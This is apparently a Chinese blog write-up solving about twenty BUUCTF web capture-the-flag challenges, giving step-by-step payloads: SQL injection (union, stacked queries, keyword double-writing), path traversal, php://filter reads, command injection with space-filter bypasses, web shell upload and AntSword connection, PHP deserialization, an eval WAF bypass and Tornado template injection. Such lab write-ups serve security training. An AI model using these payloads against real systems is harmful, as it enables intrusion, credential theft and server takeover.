【BUUCTF Web】WriteUp超详细

BUUCTF Web

  • [极客大挑战 2019]EasySQL
  • [极客大挑战 2019]Havefun
  • [HCTF 2018]WarmUp
  • [ACTF2020 新生赛]Include
  • [ACTF2020 新生赛]Exec
  • [GXYCTF2019]Ping Ping Ping
  • [强网杯 2019]随便注
  • [SUCTF 2019]EasySQL
  • [极客大挑战 2019]Secret File
  • [极客大挑战 2019]LoveSQL
  • [极客大挑战 2019]Http
  • [极客大挑战 2019]Knife
  • [极客大挑战 2019]Upload
  • [ACTF2020 新生赛]Upload
  • [极客大挑战 2019]BabySQL
  • [极客大挑战 2019]PHP
  • [ACTF2020 新生赛]BackupFile
  • [RoarCTF 2019]Easy Calc
  • [极客大挑战 2019]BuyFlag
  • [BJDCTF2020]Easy MD5
  • [护网杯 2018]easy_tornado

[极客大挑战 2019]EasySQL

【BUUCTF Web】WriteUp超详细_第1张图片
首先第一步 判断是哪一种注入方式:字符型?还是数字型?

在请求框中输入 1  1' 来根据服务器给出的回显进行判断

输入1时
【BUUCTF Web】WriteUp超详细_第2张图片
输入1’ 时
【BUUCTF Web】WriteUp超详细_第3张图片

根据回显内容可知,该注入类型为字符型注入

接下来因为是字符型注入,可以尝试字符型注入时的万能公式试一试
这里我个人认为区分字符型和数字型的最简单的方式就是看他1后面有没有跟着单引号,如果有就是字符型,如果没有就是数字型

万能公式:
1 and 1=1    数字型
1' and '1'='1   字符型
1 or 1=1    数字型
1' or '1'='1  字符型

使用 1’ or 1=1 进行注入时,注入成功
【BUUCTF Web】WriteUp超详细_第4张图片
使用 1’ and ‘1’= '1 进行注入,注入不成功
【BUUCTF Web】WriteUp超详细_第5张图片

为什么and不行而or就可以呢?
这里就要首先了解and和or的区别。在注入时,A and B 执行成功的条件是A与B必须同时成立,才判断为正确。而 A or B 执行成功的条件是A与B有一项正确即可。可以理解为与或关系,and是与or是或,这样就可以理解为什么and不可以了。

[极客大挑战 2019]Havefun

【BUUCTF Web】WriteUp超详细_第6张图片
我们可以看见这个页面上只有一只小猫,我们可以尝试查看网页源代码

可以鼠标右击->查看网页源代码 
也可以ctrl+U快捷打开网页源代码

我们可以看到网页源代码中有这么一块代码
【BUUCTF Web】WriteUp超详细_第7张图片
呢么我们尝试在url中请求?cat=dog尝试一下,可以看到flag出现了
【BUUCTF Web】WriteUp超详细_第8张图片

[HCTF 2018]WarmUp

【BUUCTF Web】WriteUp超详细_第9张图片
题目给出提示是php 代码审计,那么我们可以直接查看网页源代码
【BUUCTF Web】WriteUp超详细_第10张图片
可以看到有一个php代码文件 source.php

我们在url后加上/source.php 对该文件下php代码内容进行访问

【BUUCTF Web】WriteUp超详细_第11张图片
同样审计发现,还有一个php文件叫做hint.php,同样的方法对该文件进行访问
【BUUCTF Web】WriteUp超详细_第12张图片
hint.php文件告诉我们 flag不在hint.php中,而在一个叫做ffffllllaaaagggg的东西中
【BUUCTF Web】WriteUp超详细_第13张图片
这时候我们返回头来继续查看source.php,理解source.php中的代码

"source.php","hint"=>"hint.php"]; // 白名单,允许访问的文件

            // 检查$page是否存在且为字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it"; // 输出错误信息
                return false; // 返回false,表示文件验证失败
            }

            // 检查$page是否在白名单中
            if (in_array($page, $whitelist)) {
                return true; // 返回true,表示文件验证通过
            }

            // 对$page进行处理,去除可能存在的查询字符串
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

            // 检查处理后的$_page是否在白名单中
            if (in_array($_page, $whitelist)) {
                return true; // 返回true,表示文件验证通过
            }

            // 对$page进行URL解码,并进行与上面相同的处理
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );

            // 检查处理后的$_page是否在白名单中
            if (in_array($_page, $whitelist)) {
                return true; // 返回true,表示文件验证通过
            }

            echo "you can't see it"; // 输出错误信息
            return false; // 返回false,表示文件验证失败
        }
    }

    // 检查是否存在非空的$_REQUEST['file'],且为字符串,并调用emmm类的checkFile方法验证文件
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; // 包含指定的文件
        exit; // 终止脚本执行
    } else {
        echo "
"; // 输出一张图片 } ?>

通过查看代码,我们对url进行修改,键入

source.php?file=hint.php?ffffllllaaaagggg

【BUUCTF Web】WriteUp超详细_第14张图片
这时候我们发现图片消失了,说明我们键入的内容是满足条件的,
但是我们不知道ffffllllaaaagggg的具体位置,所以我们采用如下方法进行文件访问

source.php?file=hint.php?../../../../../ffffllllaaaagggg

flag出现
【BUUCTF Web】WriteUp超详细_第15张图片

../   路径穿越(目录遍历)攻击
../ 是一种相对路径标识符,用于表示返回到上一级目录。这种技术被称为路径穿越(Path Traversal)或目录遍历攻击(Directory Traversal Attack)。攻击者可以利用目录遍历漏洞来绕过应用程序的访问控制机制,访问其本来不应该访问的文件或目录。通过连续使用 ../ 返回多次,攻击者可以逐级向上导航到更高级别的目录,直到达到目标文件或目录。

[ACTF2020 新生赛]Include

首先打开发现有一个链接是tips
【BUUCTF Web】WriteUp超详细_第16张图片
打开后是名为flag.php的文件,我们要想办法获取到文件的源码。
涉及到PHP伪协议,可以参考PHP伪协议

在了解了php伪协议后,我们判断此处应该使用php://filter读取文件内容

?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
对获取到的内容进行base64解密即可获得flag
base64解密网址:base64解码
【BUUCTF Web】WriteUp超详细_第17张图片

[ACTF2020 新生赛]Exec

【BUUCTF Web】WriteUp超详细_第18张图片
查看网页源代码,发现提示为命令执行漏洞(command execution)
【BUUCTF Web】WriteUp超详细_第19张图片
尝试查看post请求中是否存在命令执行漏洞

尝试写入payload  127.0.0.1| ls

【BUUCTF Web】WriteUp超详细_第20张图片
发现存在命令执行漏洞,有一个index.php文件,使用之前说过的 路径穿越(目录遍历)攻击 尝试依次查看index.php文件的上层目录,看看目录中是否会有flag

方法: 127.0.0.1 | ls ../ 
       127.0.0.1 | ls ../../
       127.0.0.1 | ls ../../../

【BUUCTF Web】WriteUp超详细_第21张图片
【BUUCTF Web】WriteUp超详细_第22张图片
【BUUCTF Web】WriteUp超详细_第23张图片
在进行第三次时,发现一个名字叫做flag的文件,我们要的flag可能就在这个文件中,对flag文件的内容进行查看

127.0.0.1 | cat ../../../flag

【BUUCTF Web】WriteUp超详细_第24张图片

[GXYCTF2019]Ping Ping Ping

【BUUCTF Web】WriteUp超详细_第25张图片
打开靶机我们发现页面只用一个 /?ip= 其余没有任何提示,我们猜测是在url中进行提交

尝试在url中衔接上/?ip=127.0.0.1

【BUUCTF Web】WriteUp超详细_第26张图片
发现网页出现回显,我们再查看一下网页的源代码,看看有哪些提示,发现网页源代码也没有任何有用的提示
【BUUCTF Web】WriteUp超详细_第27张图片
联想到上一道题是命令执行漏洞,我们再来尝试一下简单的命令执行漏洞

 第一次我输入的是:
 /?ip=127.0.0.1| ls  发现页面将空格进行了过滤
 第二次我输入的是:
 /?ip=127.0.0.1|ls  发现页面回显出了一些文件名

【BUUCTF Web】WriteUp超详细_第28张图片
【BUUCTF Web】WriteUp超详细_第29张图片
我们看到文件中有一个叫做flag.php,我们猜测flag存在于这个文件中,对其进行查看

/?ip=127.0.0.1|cat flag.php

但是我们之前已经知道了代码对空格进行了过滤,所以毫无疑问的失败了,这时就需要用到空格绕过

空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat$IFS$1flag.php
catflag.php
kg=$'\x20flag.php'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码

【BUUCTF Web】WriteUp超详细_第30张图片
但是!当我们成功绕过空格后发现flag也被过滤了,那我们就先来查看一下index.php中的内容

cat$IFS$9index.php

发现其实过滤了很多东西
【BUUCTF Web】WriteUp超详细_第31张图片
我们设置payload,读取一下所有文件的所有内容(我是这样理解的)
因为过滤了很多内容,考虑使用``的形式来绕过正则限制
反引号的作用是将命令的输出当做输入执行

/?ip=127.0.0.1;cat$IFS$1'ls'    

然后查看一下网页源代码便获得了flag
【BUUCTF Web】WriteUp超详细_第32张图片
或者采用另一种方法,对含有flag的payload进行b64编码,在用base64 -d解码,最后在通过sh执行,最终执行的就是 cat flag.php

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

同样查看网页源代码,便可以看到flag
【BUUCTF Web】WriteUp超详细_第33张图片

[强网杯 2019]随便注

【BUUCTF Web】WriteUp超详细_第34张图片
这是一道sql注入题,不要问我怎么知道的,和常规的sql注入题一样,检查有无注入
输入1’时回显报错 发现存在注入,且为字符型注入。
在这里插入图片描述
接下来获取列数

1' order by 1#   正常
1' order by 2#   正常
1' order by 3#   报错

说明总共有两列
在这里插入图片描述
尝试最简单的联合查询(union select)查询所有数据库

-1' union select 1,database()#

发现有一些字符被过滤掉了
【BUUCTF Web】WriteUp超详细_第35张图片
更换思路,考虑堆叠注入查询所有数据库
注意 database 和 databases 的区别

1;show database;#
1;show databases;#

【BUUCTF Web】WriteUp超详细_第36张图片
查询完数据库后,接下来查询所有表

1; show tables;#

【BUUCTF Web】WriteUp超详细_第37张图片
发现有一个奇怪的数字,对它的列进行查看
注意这个符号是 ` 而不是’

-1';show columns from`1919810931114514`;#
1919810931114514

【BUUCTF Web】WriteUp超详细_第38张图片
发现其中有一列为flag,只要我们能查看它的内容,这道题就可以解出来了,但是 select字段被过滤,所以没有办法直接对它进行查询。
我们可以想到words是默认查询的表,再后台的查询语句类似以下

select * from words where id =’1‘;

根据之前我们的查看我们知道它没有过滤rename和alert关键字,所以我们可以修改表的结构,来达到查询flag列的内容
我们先查看words表下的列的内容

0’;show columns from words;#

【BUUCTF Web】WriteUp超详细_第39张图片
思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最后使用万能密码,即可得到flag
【BUUCTF Web】WriteUp超详细_第40张图片

[SUCTF 2019]EasySQL

【BUUCTF Web】WriteUp超详细_第41张图片
同样是一道SQL注入题,同常规一样,检查注入点
输入1时查看回显
【BUUCTF Web】WriteUp超详细_第42张图片
不管输入什么非零数字,都是一样的回显,尝试0和字符串时没有回显 说明是整型而不是字符型。
查询列数 发现不行
【BUUCTF Web】WriteUp超详细_第43张图片那就使用堆叠注入,尝试查看数据库,发现注入成功

1;show databases;

在这里插入图片描述
再查看表名

1;show tables;

【BUUCTF Web】WriteUp超详细_第44张图片
发现出现了flag,判断flag就在Flag中,尝试对flag进行查询
【BUUCTF Web】WriteUp超详细_第45张图片
这里应该是把Flag过滤掉了,但是看好多网上的大佬写到这一步是要去猜测后端的代码,我实在是知识太薄弱了,不知道为什么要猜测后端代码中存在||这个符号,所以先就按照这种思路来写,之后如果能理解的话我会回来将这个想法写完整

 在sql语句中 || 表示的是或逻辑
 也就是说: C1||C2 C1和C2只要有一侧是1 就是1 否则就是0

接下来就要猜测后端的语句了,大胆猜测逻辑就是这样子的

内部查询语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。
即:select 输入数据 || flag from Flag

第一种方法:

*,1   
相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

【BUUCTF Web】WriteUp超详细_第46张图片
另一种方法的思路就是 将||或的逻辑改成连接符的作用
就要补充一个知识点

设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用,PIPES_AS_CONCAT令||起到连接符的作用

构造payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1
注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

【BUUCTF Web】WriteUp超详细_第47张图片

[极客大挑战 2019]Secret File

【BUUCTF Web】WriteUp超详细_第48张图片首先题目首页没给我们多大信息,我们查看一下源码,发现了一个 ./Archive_room.php
【BUUCTF Web】WriteUp超详细_第49张图片对其进行访问,发现页面有一个SECRET可以点击,但是点开后提示我们回去看一看
【BUUCTF Web】WriteUp超详细_第50张图片
【BUUCTF Web】WriteUp超详细_第51张图片
我们查看第一页的源代码,发现还有一个文件叫做./Action.php
【BUUCTF Web】WriteUp超详细_第52张图片但是对他进行访问后发现实际到达的却是end.php
【BUUCTF Web】WriteUp超详细_第53张图片
这时我们掏出我们的BP进行一个简单的抓包
【BUUCTF Web】WriteUp超详细_第54张图片
【BUUCTF Web】WriteUp超详细_第55张图片发现了一个叫做secr3t.php的文件,对他进行访问,打开是源代码,告诉我们flag放在了flag.php中
【BUUCTF Web】WriteUp超详细_第56张图片
那我们就对flag.php进行访问,但是还是不显示,对他的源代码进行查看也没有任何帮助,这里就想到了PHP伪协议
【BUUCTF Web】WriteUp超详细_第57张图片
【BUUCTF Web】WriteUp超详细_第58张图片

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

【BUUCTF Web】WriteUp超详细_第59张图片
最后对密文进行base64解码就可以得到结果
【BUUCTF Web】WriteUp超详细_第60张图片

[极客大挑战 2019]LoveSQL

【BUUCTF Web】WriteUp超详细_第61张图片
很明显是一道sql注入题,首先判断注入是整型还是字符,说明是字符型注入,并且使用的是MariaDB数据库
【BUUCTF Web】WriteUp超详细_第62张图片
使用万能密码进行一下测试
【BUUCTF Web】WriteUp超详细_第63张图片
我们发现它给了我们一个password,但是经过尝试他并不是flag,对他进行一下解码发现都不行,似乎好像没有什么用处,那我们先按常规查看一下列数吧

1' order by 3#

总共有三列
【BUUCTF Web】WriteUp超详细_第64张图片
查询一下表名,总共有俩个表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

【BUUCTF Web】WriteUp超详细_第65张图片
可以看到有一个表叫做geekuser,可能有我们想要的信息

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

【BUUCTF Web】WriteUp超详细_第66张图片
查询id username password的具体内容

1' union select 1,2,group_concat(id,username,password) from geekuser#

【BUUCTF Web】WriteUp超详细_第67张图片
发现给了我们账号密码 我们登录一下试一试,还是没有用。
【BUUCTF Web】WriteUp超详细_第68张图片那我们用同样的方法对另一个表进行查看,也许flag存在另一个表中

 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
 1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

【BUUCTF Web】WriteUp超详细_第69张图片
【BUUCTF Web】WriteUp超详细_第70张图片
将一长串复制出来方便查看,发现了我们要的flag

【BUUCTF Web】WriteUp超详细_第71张图片

[极客大挑战 2019]Http

【BUUCTF Web】WriteUp超详细_第72张图片
单从网页上来看没有什么发现,涉及到http,所以继续掏出我们的BP进行抓包
在这里插入图片描述
找到了一个Secret.php,访问一下【BUUCTF Web】WriteUp超详细_第73张图片
这时我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行

Referer:https://www.Sycsecret.com
GET /Secret.php HTTP/1.1
Host: 9141-f2e36f57-6b2f-4563-8342-a0cfdb3ec455node3.buuoj.cn:29788
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

【BUUCTF Web】WriteUp超详细_第74张图片
随后提示我们浏览器需要使用Syclover,这时我们修改一下User-Agent的内容,使得服务器以为我们使用的是Syclover进行的访问

User-Agent:Syclover

【BUUCTF Web】WriteUp超详细_第75张图片
这时它又说我们只能通过本地进行一个访问,那么我们就继续更改http请求文件,flag出现

X-Forwarded-For:127.0.0.1

[极客大挑战 2019]Knife

【BUUCTF Web】WriteUp超详细_第76张图片
题目提示可以使用菜刀链接后门,使用菜刀进行后门连接
【BUUCTF Web】WriteUp超详细_第77张图片
成功访问后进行根目录访问,有一个flag文件,进去后发现flag
【BUUCTF Web】WriteUp超详细_第78张图片
【BUUCTF Web】WriteUp超详细_第79张图片

[极客大挑战 2019]Upload

根据题目可以看出来这是一道文件上传题目,此类题目一般都是利用网页上传口的一些漏洞,上传诸如一句话木马等带有危险性的文件去进入其他人的服务器,再利用类如菜刀蚁剑等设备连接服务器进行操作。

首先上传一句话木马


注意这里要将代码写入文件进行上传

【BUUCTF Web】WriteUp超详细_第80张图片

报错,说明后台可能对非图片格式进行了过滤,我们更改文件格式为.jpg,再次尝试

报错信息告诉我们对文件中


注意我们这里cmd就是我们开的后门shell密码


依然会有一个报错的提示,说明我们需要添加图片的头,然后再进行上传

GIF89a

在这里插入图片描述

提示我们上传成功了,但是我们上传的仅仅是一个.jpg的文件,无法供我们利用,这时候我们需要使用到BP进行一下简单的抓包,并且将.jpg更改为.phtml,使得网页后端可以执行我们的一句话木马【BUUCTF Web】WriteUp超详细_第81张图片

然后我们小马就带着我们成功进入了网站的后台使用AntSword连接网站后门,这里需要开启php服务

也可以使用/upload/filename进行直接访问打开文件
这里我重新上传了一个shell文件名的小马

在这里插入图片描述
然后就可以对网站后台数据库进行访问
【BUUCTF Web】WriteUp超详细_第82张图片

注:
在使用AntSword时有的同学在测试连接时显示返回为空,说明你的一句话木马有问题,未能被服务器正常解析,可以检查一下上传的文件格式和代码是否有误

我们打开虚拟终端返回到根目录

 cd /

在这里插入图片描述
然后查看flag文件

cat flag

【BUUCTF Web】WriteUp超详细_第83张图片

[ACTF2020 新生赛]Upload

【BUUCTF Web】WriteUp超详细_第84张图片
当我们把鼠标移动到灯泡上时,发现了可以进行的文件上传地址,先简单构造一个payload进行尝试一下一句话木马上传


【BUUCTF Web】WriteUp超详细_第85张图片
提示我们只能上传固定格式的图片,那我们更改文件格式,并加上图片头

【BUUCTF Web】WriteUp超详细_第86张图片GIF89a
提示我们文件上传成功
【BUUCTF Web】WriteUp超详细_第87张图片
我们先进行简单抓包更改shell的文件格式为.phtml使其能够运行为我们打开后门
【BUUCTF Web】WriteUp超详细_第88张图片
【BUUCTF Web】WriteUp超详细_第89张图片

上传成功后提示我们上传到的路径为./uplo4d,尝试用AntSword进行数据库连接
【BUUCTF Web】WriteUp超详细_第90张图片

注意这里我直接只使用  /uplo4d进行连接时一直报错,看了好多博主但是他们也是只有这个好像,最后才试出来连接时要把所有的全写完整才能连接成功而且编码器最好使用base64进行编码,不然可能是乱码而且无法使用shell

【BUUCTF Web】WriteUp超详细_第91张图片

接下来就是返回根目录然后查看flag文件了

返回根目录
cd 
查看flag
cat flag

【BUUCTF Web】WriteUp超详细_第92张图片

[极客大挑战 2019]BabySQL

【BUUCTF Web】WriteUp超详细_第93张图片
经典的SQL注入题,先尝试一下万能密码【BUUCTF Web】WriteUp超详细_第94张图片
我们发现他把我们注入时输入的or过滤了,那我们尝试一下双写or ,这样他在删除一个or以后还会有,但是依然发现不可以

1’ oorr 1=1

【BUUCTF Web】WriteUp超详细_第95张图片
那我们换思路进行一下进行联合注入(盲猜和之前一样三列),发现同样删除过滤了我们的union select关键字
【BUUCTF Web】WriteUp超详细_第96张图片依然对union select进行双写尝试,发现可以

1' ununionion seselectlect 1,2,3#

【BUUCTF Web】WriteUp超详细_第97张图片
那接下来就是爆库常规的SQL注入了,同样如果遇到被删除过滤的部分进行双写即可

1' ununionion seselectlect 1,2,database()#

【BUUCTF Web】WriteUp超详细_第98张图片

1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) #

【BUUCTF Web】WriteUp超详细_第99张图片

1' ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere  table_name="Flag" 

【BUUCTF Web】WriteUp超详细_第100张图片

1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) 

【BUUCTF Web】WriteUp超详细_第101张图片

[极客大挑战 2019]PHP

【BUUCTF Web】WriteUp超详细_第102张图片题目说他进行了备份 那我们扫描网站目录,发现了www.zip进行访问
【BUUCTF Web】WriteUp超详细_第103张图片发现网站的源码直接被我们下载了
【BUUCTF Web】WriteUp超详细_第104张图片
源码中有这几个文件,打开我们可以使用记事本
【BUUCTF Web】WriteUp超详细_第105张图片
打开flag.php进行查看,发现错误不是我们想要的flag
【BUUCTF Web】WriteUp超详细_第106张图片那我们再查看一下index.php
【BUUCTF Web】WriteUp超详细_第107张图片

发现一段php文件,包含class.php文件
用get的方式传入一个select参数,并将结果反序列化(unserialize)

那我们查看一下class.php
【BUUCTF Web】WriteUp超详细_第108张图片

根据class中代码的意思
我们可以发现如果username=admin password=100然后我们再执行__destruct()时可以获得flag

因此我们需要构造反序列化,替换select参数,输入admin和100
运行后获得序列化的字符串,可以使用php在线编译器

username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>

【BUUCTF Web】WriteUp超详细_第109张图片

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

我们将用这串序列化的字符串替换select于是我们有了这样的payload

?select=O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

【BUUCTF Web】WriteUp超详细_第110张图片
进行访问时页面没有反应,可能是因为username和password是private字段

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

所以更改payload为

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

【BUUCTF Web】WriteUp超详细_第111张图片
找到flag

[ACTF2020 新生赛]BackupFile

根据题目意思可以知道这个是备份文件的题目,我们直接使用kali中的dirsearch进行扫描文件目录
【BUUCTF Web】WriteUp超详细_第112张图片
可以看到我们扫描到了一个/index.php.bak的文件,对该文件进行访问

http://3a65cb36-9643-452c-8f4a-43589c302f5f.node4.buuoj.cn:81//index.php.bak

【BUUCTF Web】WriteUp超详细_第113张图片
访问后备份php文件被我们下载
在这里插入图片描述
进行访问该备份文件,查看内容
【BUUCTF Web】WriteUp超详细_第114张图片

可以看到这里是一个 若相等  即php中==进行证书和字符串类型相比较时,会先将字符串转化为整数然后再进行比较,只截取前面整数部分,故再访问为
http://3a65cb36-9643-452c-8f4a-43589c302f5f.node4.buuoj.cn:81/?key=123

【BUUCTF Web】WriteUp超详细_第115张图片

[RoarCTF 2019]Easy Calc

1
【BUUCTF Web】WriteUp超详细_第116张图片
首先看页面没有什么提示,查看一下网页源代码,看到有一个名为clac.php的文件,并且设置了waf
【BUUCTF Web】WriteUp超详细_第117张图片
尝试进行访问

/calc.php

发现文件对一些敏感字符进行了过滤,并且使用get方式传参给num,只要能够绕过过滤,就可以通过eval进行任意php语句
【BUUCTF Web】WriteUp超详细_第118张图片
首先尝试

?num=phpinfo()

【BUUCTF Web】WriteUp超详细_第119张图片
被waf进行了拦截,我们可以在num前加一个空格进行简单的绕过
原理: php解析规则:如果变量名前面有空格,则删除空格在进行解析,假如waf不允许num接受字母,则 num就可以

/calc.php/?%20num=phpinfo()

【BUUCTF Web】WriteUp超详细_第120张图片
成功绕过,使用scandir查看目录中的内容,找到flag

? num=scandir("/")

【BUUCTF Web】WriteUp超详细_第121张图片
联想到之前源代码中/被过滤,使用char对/进行ASCII编码进行绕过

? num=var_dump(scandir(chr(47)))

在这里插入图片描述
读取flagg文件获得flag

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

【BUUCTF Web】WriteUp超详细_第122张图片

[极客大挑战 2019]BuyFlag

【BUUCTF Web】WriteUp超详细_第123张图片
网页提示需要前,身份和密码,查看一下源代码,发现了一些文件和传参方式
【BUUCTF Web】WriteUp超详细_第124张图片
【BUUCTF Web】WriteUp超详细_第125张图片
那我们先尝试抓包,然后修改数值请求为post即可成功拿到flag
【BUUCTF Web】WriteUp超详细_第126张图片
这里显示数值过大,要用1e9代替100000000
【BUUCTF Web】WriteUp超详细_第127张图片
成功

[BJDCTF2020]Easy MD5

知识点:sql注入,md5绕过,构造md5的or使判断为真,数组,md5碰撞

【BUUCTF Web】WriteUp超详细_第128张图片当我们进行查询时,实际上使用的时sql语句查询,但是使用的是MD5的加密算法,所以我们可以构造一个MD5含有or的语句,置为真

当存在参数true时,使用原始16字符二进制格式,找到ffifdyop字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c,mysql会把hex当作Ascii码来解释所以这几个字符相当于:’ or '6xxxxxxx。这就相当于一个万能密码了我们来试试
?password=ffifdyop

【BUUCTF Web】WriteUp超详细_第129张图片【BUUCTF Web】WriteUp超详细_第130张图片
得到提示告诉我们这是一个md5弱类型比较,我们可以在网上找一些0e开头的md5值,进行md5碰撞
【BUUCTF Web】WriteUp超详细_第131张图片
将上述任意俩个值传给a和b
得到新的提示
【BUUCTF Web】WriteUp超详细_第132张图片
这里我们发现需要用post进行传参,这俩个值要求不相等且md5加密后要相等,所以我们使用md5弱类型比较,把这俩个参数当成数组进行赋值就可以成功绕过
【BUUCTF Web】WriteUp超详细_第133张图片

[护网杯 2018]easy_tornado

【BUUCTF Web】WriteUp超详细_第134张图片
查看各个文件下的内容
【BUUCTF Web】WriteUp超详细_第135张图片

【BUUCTF Web】WriteUp超详细_第136张图片
【BUUCTF Web】WriteUp超详细_第137张图片

render()函数是Django中的渲染,想到ssti
tornado.web.Application对象初始化赋予cookie_secret参数,用于保存本网站cookies加密密钥
根据第三个文件,我们打开第一个文件中提示的flag文件所在位置,使用[md5](https://www.sojson.com/md5/)进行加密

可以知道我们现在已经发现了俩个参数,一个是filename一个是filehash,目前的问题为如何获取cookie_secret。修改filename使出现error页面
【BUUCTF Web】WriteUp超详细_第138张图片

构造新的payload:
{{handler.settings}}

【BUUCTF Web】WriteUp超详细_第139张图片传参后得到cookie_secret的值,通过md5加密计算cookie_secret+md5(filename)
先加密/fllllllllllllag
【BUUCTF Web】WriteUp超详细_第140张图片再根据上面的语法再加密一次
【BUUCTF Web】WriteUp超详细_第141张图片注入后得到flag
【BUUCTF Web】WriteUp超详细_第142张图片

你可能感兴趣的:(安全,网络,web安全)